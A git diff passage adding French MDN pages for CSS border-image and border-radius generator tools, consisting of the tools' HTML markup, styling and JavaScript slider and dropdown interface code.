+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Border_Image_Generator', '100%', '1270px')}}</p>
diff --git a/files/fr/web/css/arrière-plans_et_bordures_css/générateur_border-radius/index.html b/files/fr/web/css/arrière-plans_et_bordures_css/générateur_border-radius/index.html
new file mode 100644
index 0000000000..344dd64bcc
--- /dev/null
+++ b/files/fr/web/css/arrière-plans_et_bordures_css/générateur_border-radius/index.html
@@ -0,0 +1,1600 @@
+---
+title: Générateur de border-radius
+slug: Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-radius
+tags:
+  - CSS
+  - Outil
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+---
+<p>Cet outil peut être utilisé afin de générer du code pour la propriété {{cssxref("border-radius")}}.</p>
+
+<div style="display: none;">
+<h2 id="border-radius-generator" name="border-radius-generator">border-radius</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="preview" class="col span_12"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom"&gt;
+                &lt;/div&gt;
+
+                &lt;div id="radius-ui-sliders"&gt;
+                    &lt;div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div id="controls" class="group section"&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="dimensions"&gt;
+                &lt;div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"&gt;&lt;/div&gt;
+
+                &lt;div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="radius-lock"&gt;
+                &lt;div class="info"&gt; Coins arrondis &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-left'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-left'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="unit-selection"&gt;
+                &lt;div class="info"&gt; Unités pour la bordure &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenu_CSS">Contenu CSS</h3>
+
+<pre class="brush: css">/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox &gt; label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js"><code class="language-js">'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined &amp;&amp; send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
